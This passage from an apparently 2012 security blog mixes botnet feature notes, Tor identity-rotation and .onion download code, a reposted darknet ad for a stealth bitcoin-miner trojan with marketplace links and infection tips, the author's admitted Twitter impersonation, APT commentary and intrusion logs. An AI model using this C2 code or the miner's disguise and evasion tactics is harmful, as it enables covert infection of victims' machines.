9. GPS tracked Assets by Google maps and using net-book with a high powered external usb wifi attenas.

Starts an automatic attack if wep if wpa2 grabes handshake. If open starts basic arp spoofing attack. Common browser exploits. (in development)

10.Teensy spread. (in development)

11.vnc back connect. (working)

12. Advanced Persistent threat. Fake Firefox, Fake Internet Explorer, Fake Chrome. Fake Windows Security Essentials. (in development allows for excellent custom Bot-master defined keyloging)

13. Dark search bot index file is downloaded allowing easy searching of hard drives. (Working)

14. voip logic bomb. bot computer is sent via a voip call file once played through voip the microphone hears mp3 file and the dormant payload is activated in bot that is the logic bomb. (in development)

bot Plug-ins developed later

Each Panel is hwid

1 unique build per Copy embedded into panel.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

function tor_new_identity($tor_ip='127.0.0.1', $control_port='9051', $auth_code=''){
$fp = fsockopen($tor_ip, $control_port, $errno, $errstr, 30);
if (!$fp) return false; //can't connect to the control port

fputs($fp, “AUTHENTICATE $auth_code\r\n”);
$response = fread($fp, 1024);
list($code, $text) = explode(‘ ‘, $response, 2);
if ($code != ‘250’) return false; //authentication failed

//send the request to for new identity
fputs($fp, “signal NEWNYM\r\n”);
$response = fread($fp, 1024);
list($code, $text) = explode(‘ ‘, $response, 2);
if ($code != ‘250’) return false; //signal failed

fclose($fp);
return true;
}

/**
* Load the TOR’s “magic cookie” from a file and encode it in hexadecimal.
**/
function tor_get_cookie($filename){
$cookie = file_get_contents($filename);
//convert the cookie to hexadecimal
$hex = ”;
for ($i=0;$i<strlen($cookie);$i++){
$h = dechex(ord($cookie[$i]));
$hex .= str_pad($h, 2, ‘0’, STR_PAD_LEFT);
}
return strtoupper($hex);
}

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

#define CURL_STATICLIB
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>
#include <string>
#include <ctime>

size_t write_data(void *ptr, size_t size, size_t nmemb, FILE *stream) {
size_t written;
written = fwrite(ptr, size, nmemb, stream);
return written;
}

void startTor() {
system(“C:\\tor.exe”);
Sleep(5000);
return;
}

int main(void) {

//    startTor();

CURL *curl;
FILE *fp;
CURLcode res;
char *url = “http://46lm7zhgildryehk.onion/files/msg.sig”;
char outfilename[FILENAME_MAX] = “C:\\msg.sig”;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (curl) {
fp = fopen(outfilename,”wb”);
curl_easy_setopt(curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4A);
curl_easy_setopt(curl, CURLOPT_PROXY, “127.0.0.1:9050″);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
fclose(fp);

}
return 0;
}

 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Now first gAtO will give you the counter-measures you see if they run Tor then a simple “netstat -ar |grep LISTEN” at any unix terminal will show you what is open and who and what is LISTENing on what ports:../

Now when I only only using Tor to browse: I run —>  :MacOS gatomalo$ netstat -av |grep LISTEN 

Tor Browser – tcp4       0      0  *.9030                 *.*                    LISTEN

after I run Tor manually to use system commands I can see my ticket out of the :MacOS gatomalo$ netstat -av |grep LISTEN

Tor tcp4       0      0  localhost.9050    *.*    LISTEN

Tor Bundle tcp4       0      0  *.9030                 *.*    LISTEN

So turn off 9050 port in your firewall.

05/18/12

bitCoin Mining Scam

gAtO fOuNd -this in the (.onion network site) BlackMarket Reload (while looking into bitCoin mining. bitCoin mining is something that people are getting into and using customize scripts to use zombie computers to generate bitCoins. Using Trojan-Downloader.win32.Agent.bmzd as a starting point it is modified to give it’s own unique hash file whoch will sometimes be overlooked by virus scans.

Then the author will insert 2 miners for him and give you the rest. At least that’s what this ad tells us. Here is a clue what a scan is it say’s it does not draw CPU power and of course if you know anything about Mining bitCoins that’s how it hashes bitCoins. So I would think that it would slow down a windows machine quite a bit. Since it modeled as a legit bitCoin Miner they tell us it’s 100% undetectable, I question that part. I also see that they are using DeepBit guild instead of the BTC guild, BTC guild will give you a little higher hashes and faster.

 

GREED is the reason why this little scam will work. The old saying if it’s too good to be true it’s NOT true. As bitCoins become more popular we will se others come into the bitCoin mining, but think about it. You can now take over a machine and have it mine bitCoins. It’s pretty much undetectable because the zombie machine is not being use to DdOs someone or used as a spammer machine. These zombies will be noticed when the C2 (Control and Control) is caught but in this bitCoin scam the machines will not be noticed too much from the outside world just the user will have a slow ass Windows machine- let’s face it a slow Windows machine is normal, and since this is only marketed in the deepWeb not the clearWeb less people will notice- gAtO oUt

the Ad can be found in the deepWeb- http://4eiruntyxxbgfv7o.onion/paste/show.php?id=169a828090203b12

Hi! I’m androd2 and in this site http://5onwnspjvuk7cwvk.onion/index.php?p=view_listing&id=2851

(The WELL known BlackMarket Reloaded)  I sell this really.. REALLY cheap.

(you must sing up to enter… just do it as customer, enter nickname..

and you’re IN! .. then enter http://5onwnspjvuk7cwvk.onion/index.php?p=view_listing&id=2851 )

As you’ll see.. I have positive feedback.. i’m not a scamming newbie.. I just wanna spread and

get people to know what I sell!

What is it? {It’s EXTREMELY well described in the item description}

.. I will paste the item description below ;).. pelase at least visit it!

100% Coded By Myself, Undetectable, Customized… and STEALTH!

***************************************

Proof it is “undetectable”: https://www.virustotal.com/file/ef390fc5455a3a2ca07168eff05071d10bf7ed156d2455fb28e5b6eb045ddb7f/analysis/1335995324/

.. notice that the ONLY positive was from ByteHero ONLY.. and it is even a FALSE positive.. “Trojan-Downloader.win32.Agent.bmzd” because it doesn’t download anything. It passed ALL Antivirus.

***************************************

How does it work? Well…

I make a CUSTOMIZED and UNIQUE Stealth miner exe (configured with 2 worker sessions of yours), i send it to you, and you and make your victims execute it (I can disguise it as you wish just ASK… for example I spread mine in a forum. I embedded a legitimate Windows7 activator.. and while actually activating Windows7.. it , without popup of ANY kind,it generated some files.. and starts mining)

It draws a little of GPU Power form each machine, mining for you! I’ve spread mine, and in one month now I ‘ve already Passed the 2000Mhash/s!

Excellent for posting anywhere… just make me disguise the exe! , uploading to your BOT-NET, or infect with social engineering, or, if you want to, embed a useful EXE, disguise it, and while actually executing the legitimate EXE… also installing the Silent Miner.

It’s 100% made by me. It hides itself. Auto-start with windows… NO window opened. Doesn’t draw CPU power!

The victim will not notice! No strange windows, no console popup… NOTHING!

The best part: 100% Undetectable! It’s based on a modded and legitimate GPU Miner, so it can’t be detected as VIRUS!

IT DOESN’T AUTO SPREAD ITSELF… so the key is how many victims execute this… thinking a bit you’ll came with TONS of ways (ask me to change the icon, a fake screen error, embeding a legitimate binary.. ) Thanks to that,get almost 100% invisibility to Heuristics.

Once executed by the victim.. the victim can even delete the original file..because the files are already installed!

It’s simple. All you need to give me is the data of 2 workers (recomend BIG Public Mining Pools.. for anonimity.. and quick cashout.. I used Deepbit for example) (One is backup in case the first one’s mining pool is down). That is Miner address and password {the password of the miner, not session… ask if you don’t understand this.. it’s not dangerous, because it’s the pass of the worker}. And the things you want me to do … put a custom icon? embeding a some sort of file or binary? ASK for it!

IMPORTANT: Once made the program and shipped to you, the workers address can’t be changed by ANY MEANS, because it’s embedded to the code.

I sold the first for 0.35 now it is a bit higher … Check the feedback yourself! it works! Have your Own Miner Factory… without having to spend money on hardware. With this, is extremely EASY to make much more in a day, than the price I ask for it. You’ll get that money back in NO TIME.

The price is extremely low to the Next buyers just to get positive feedbak of the product.. I’m planing to sell it for more than 2BTC or something like that. (In matter of days I got 2BTC from mine…)

. Consider this discount as a EXTREMELY good opportunity to get a 100% anonymous, decentralized, and secure way to get BTC!

CUSTOM THINGS I MAY ADD IF YOU ASK FOR (Check “Shipping options”, some of these are free, others not… if you only want the free ones,select the option one, to complete the price of the offer :) ):

*Error Message – FREE {Once the victim machine executes it, you can chose it to do nothing -silent, no popup, no window, nothing-, or if you want it to be used with Social Engineering, show some sort of error message}

*Exe’s Icon – FREE {Change the icon of the file… useful for social engineering

*Embed File/Binary – 0.09BTC Extra {You can ask me to embed -you must provide it- a file, so the victim won’t suspect it’s something weird happening. For example, I embedded a USEFUL Windows 7 Activator, and made the spread SO easy… because it actually unlocked Windows7 while infecting with the miner, so they shared it to friends and leave positive feedback on the post}

*YOU can say whatever you need and I will try to adapt this to your needs!

I’m doing it with LOW price because i want positive feedback to this product in particular {because it’s made by myself}. Then I’ll set a HIGHER Price.

If you have any doubts, please ASK… don’t keep the doubts!

- BITCOIN Silent FUD GPU Miner,UNDETECTABLE,100%Custom.


05/16/12

gAtOmAlO2 is @_th3j35t3r

gAtO iS _th3j35t3r – I as soon as a friend heard the news of the th3j35t3r and  @cubespherical were at each other I went on to twitter and pick up the name. Why? As a security researcher I wanted to see if people were dumb enough to be fooled by anyone. Call it a test of a fool for the fools. Well I was surprised that people started to follow me right away, not too many fell for it but a few were confused and that is why you should always “trust but verify” .

I really don’t care what this is all about I just wanted to Social Engineer it just a wee bit to play a game of thrones. Who would suspect – who will know, who really cares. Anyway I got work to do so I need to play this out and finally come clean so I don’t have to play this game for anyone else. A few friends that I told were smiling a bit and they know I’m a lOcO gAtO so now you have it my friends. I hope I didn’t hurt anyone by this little trick, I hope you all learned something, and I did not waste 24 hours I learned what fools of Tooks they all are and remember -This is all bullShit, get over it -gAtO oUt

#th3j35t3r #cubespherical

the game goes on and on – http://pastebin.com/fKFP0qJt

So, th3j35t3r is on the run. He’s rmed everything, he’s disappeared from the net. And it’s all the doing of this Smedley Manning/@cubespherical.

But who is this hero?! What manner of man is he?!

Let’s look over his brief history.

http://topsy.com/twitter/cubespherical?nohidden=1&offset=40&om=aaaa&page=5

If you go to topsy and look at his tweets, he was solidly pro-Jester until recently. Then suddenly, he remembered a bar fight back in 2002, and as the internets is serious business and he was owned so badly in that fight he was still feeling butthurt aftershock tremors a decade later, he decided to toss all that on the fire and DOX THE JESTER AND KILL HIM FOREVER.

Once people paid him 20K bitcoins.

Riiiiiight.

Good luck with that, Smedley.

I’ve already commented on him probably being th3j35t3r here http://pastebin.com/jwYt7Hyf. tl;dr: th3j35t3r appears to be running some kind of half-witted psyops gambit. They both using the same OS (but different browsers, dohoho), they both speak more or less the same, both use bitcoins, the Smedley Manning account acted like a sockpuppet prior to this, the truck he posted came from a car dealer’s website (http://www.beckhamsautos.com/web/vehicle_photos/1951320/#1).

Also, I don’t think anyone apart from th3j35t3r’s supporters (and a handful of Anons who were annoyed by him for 20 minutes) have ever actually taken him that seriously, to be honest. God forbid anyone would think his identity was worth 100K. He’s got enemies, sure, but most of the retaliation will consist of sending him hookers and pizzas; the Taliban and radical jihadists have bigger fish to fry. Taking down a website for 30 minutes and giving them free publicity by bragging about it probably isn’t going to put him on the INFIDELS WE’VE REALLY GOT TO CRUSH, WITH FIRE AND BOMBS, unless the US .gov reveal that they got Osama just before he finished recording his “th3j35t3r, NUMBER ONE ENEMY OF ISLAM” video.

Protip: They won’t.

Anyway. I don’t know what th3j35t3r is trying to accomplish with this little scheme. I strongly suspect it’s all about money, like those wristbands, and the adf.ly links on his blog that must have made him a tidy dollar every time the media reported on his latest drama. I could be wrong, of course. It’s happened once before.

[*] WHAT COMES NEXT

– From where I’m sitting, on top of my Keyboard Warrior throne, there are three likely outcomes for this, no matter what the original goal is, and I’d like to predict them right now, so that he can’t use any of them to weasel out of this.

1) He’ll reactivate his normal account and claim it was all a Psyops operation all along, and that he was tracking bitcoin usage by “bad guys”, trying to map them out and connect them to various twitter handles, or some variant of that story. It’ll be alright, though, because he’ll definitely have “donated all the money to the Wounded Warriors” project. Definitely. Totally legit. This, I suspect, may have been his original plan, but that’s just a suspicion based on his previous actions.

2) He’s going to make Smedley Manning look like a total villain, probably an Anon (like he’s doing now), and then pop up with his normal account, claim the dox was fake, and that he was gone dark in order to get enough time to notify this poor .mil dude that some crazy nemesis was after him, because he’s a hero like that. I figure this is now the mostly likely move.

3) He’s going to actually disappear. Whether it’s because he doesn’t want to disclose the truth about Saladin, whether it was all part of his plan all along, or whether he wants to run with the Smedley Manning coverstory, who knows. This is my favourite outcome.

Anyway, sit back, grab a beer, get some popcorn, and watch the Serious Business unfold. Brace for the oncoming shitstorm.

http://pastebin.com/fKFP0qJt

 

04/6/12

Supply Chain Cyber Attack

gATO rEaDiNg - 2012 Maindiant “An Evolving Threat” and Trend-Micro LuckyCat ReDux reports. Great reading for any security geek but most important it’s about the business side of the hack. Take the old smash and grab of financial information and split town, process the financial windfall and party like it’s 2999. Now it’s more beneficial for the criminals to stay inside the victims servers and collect intelligence and espionage. Ok let the gAtO break it down for you, not as a criminal that’s easy, as a state actor I would go after AeroSpace, Energy, Shipping, Military Research, Engineering, India  and Tibetan Activist… Wait a minute a India, a Tibetan Activist group, oh yeah you know it’s China but this is to be expected from China. Now the new spin is why would they go into a banks and use advanced persistent threats (APTs) hacks, well as gAtO understands it the Chinese have a shit load of MONEY— follow the money is not only an american thing it’s for every player in the world.

We have to look at the data through 3 different set of eye’s (magnifying glass with gAtO’s old EyE’s) but it’s still the same – Your data (ALL- your little company secrets) needs protection.

Here is the Score-Card your Business — versus – Competition, Government, Criminals, Hacktavist, Economic Espionage, Nuisance Hackers. On top of all this 94% of victims were notified by an external entity that they were hacked. If that doesn’t send chills down every board member in every company in the world, nothing does.

Here you are doing your business and let’s be frank some business well they walk a thin line sometimes like dumping medical and radioactive waste on a beach in New Jersey ( I know Snooki lives there) . IS your company maybe polluting the ground water for a 100 mile radius of the plant. This is not the information that they want hackers, or the press to get a hold of. “Remmember Rudolf Murdock News Hacking Empire- hey hack anyone for a buck”

Protect Customer Data yeah companies and governments want to protect it, but their little illegal/legal stuff companies do like hiding the report of the of shore oil well that just blew up and spilled all kinds of stuff all over the Gulf coast. These are the real thing that keep business people up at night worrying about hackers, it’s plain and simple cover your ass and let’s get that no bid government contract after we pay off the senator and we better encrypt that information…..

Hackers come in all flavors but if you look at the LuckyCat crewz these are very unique. Not only real computer scientist but marketing campaign and project management. They dual tier C&C (Command and Control), they use the victims supply chain to move laterally across trusted networks in order to be more invisible. Invisible takes a new trend here these hacker hide their code in plain site, they used older malware as insertion points sometimes and of course social engineering to gain access.

Bottom line these new hackers- they  are business-men, -they are governments, -they are commercial criminals, -they are hacktivist or -they are a lone wolf hacker. Companies are finally getting the message. Protect your data, not just your customer’s data, but all your little secrets because if your online– someone is watching you and these can be a 15 year old kid or a Dual Master degree in computer technology that is unemployed or works for a government. Trust but verify takes on a new meaning now -gAtO oUt

lab notes – The report, which is based on hundreds of advanced threat investigations conducted over the past year, includes analysis, statistics and case studies that highlight how advanced and motivated attackers are stealing sensitive intellectual property and financial assets.

Malware Only Tells Half of the Story Organizations’ investments in malware detection and antivirus capabilities, while effective in detecting characteristics associated with common worms, botnets, and drive-by downloads, do little to help defend against targeted intrusions.

The use of these publicly available tools has added some complexity to identifying threat actors because when organizations identify a piece of publicly available malware they often cleanse the file and — in the process — obscure what could be a larger incident.

It’s unclear why banks wouldn’t already be looking for unusual settlement activity and conducting daily monitoring, but there it is. At any rate,  “high-risk” merchants generally handle the dicey and vicey types of online commerce, such as Internet gaming, adult Web sites, rogue anti-virus software sales and online pharmacies. Might be a good idea to keep an extra close eye out for these types of unauthorized charges over the next few days

02/19/12

gAtO aLmOsT -got hacked

gAtO aLmOsT -got hacked WHY? after a nice kitty nap I woke up and found my site uscyberlabs.com was suspended. I could not get into my site or get any email so I called my hosting provider. We soon found out that someone was trying to do a brute force trying to get into my admin panel. (see logs—below) To top it off someone called my provider and tried to social engineer them into resetting my password. From my simple SEO plug-ins I could see that it was a ToR connection the IP 72.14.182.266 running a Python-urllib/2.7 script. You can see the timestamp and the delay’s give it away to a ToR connection. Of course my hosting Service is doing some research to see what they can find out but the IP as well as the phone call were non-traceable (or were they).

gAtOmAlO sAy's

Since gAto writes about Anonymous I assume at first that the FBI was going to kick down my door but that made no sense since everything I publish is available online Open-Source. I did notice a few days ago a tweet warning of a grayHat that needed a Dox – http://whatismyipaddress.com/ip/72.14.182.226 this is a little info about the IP address it shows Dallas, TX but my internal SEO places it in Newark, NJ.

Why is the question did I piss someone off, was I getting close. I HAVE a lot of information about Anonymous and the crew(z) that I do not publish, just because “gAtO is No SnItCh”. Maybe @MissRevolution_ got pissed because of her money problems or Xgirlfriend, in Chi-town I could go on and on but The OpCashBack Twitter of Banks that I published was to get the world out. Why so many banks have twitter I still find that interesting. Oh Well back to the SaltMines –

Ok so is GaTo’s words so powerful that  you want to hack his site…. gAtO feel so important —naw.. just messing.. -gAtO oUt 

http domain  72.14.182.226 Hostip (subject) more info

Country: UNITED STATES (US)

City: Newark, NJ

IP: 72.14.182.226

,

li45-226.members.linode.com

Python-urllib/2.7

February 19, 2012 15:06:44

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:43

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:42

/blog/?p=1915

February 19, 2012 15:06:40

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:39

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:38

/blog/?p=1915

February 19, 2012 15:06:34

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:33

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:06:32

/blog/?p=1915

February 19, 2012 15:02:53

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:53

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:51

/blog/?p=1915

February 19, 2012 15:02:50

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:49

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:48

/blog/?p=1915

February 19, 2012 15:02:45

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:43

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 15:02:42

/blog/?p=1915

February 19, 2012 14:59:44

/blog/2012/02/17/banks-twitter-opcashback/

February 19, 2012 14:59:44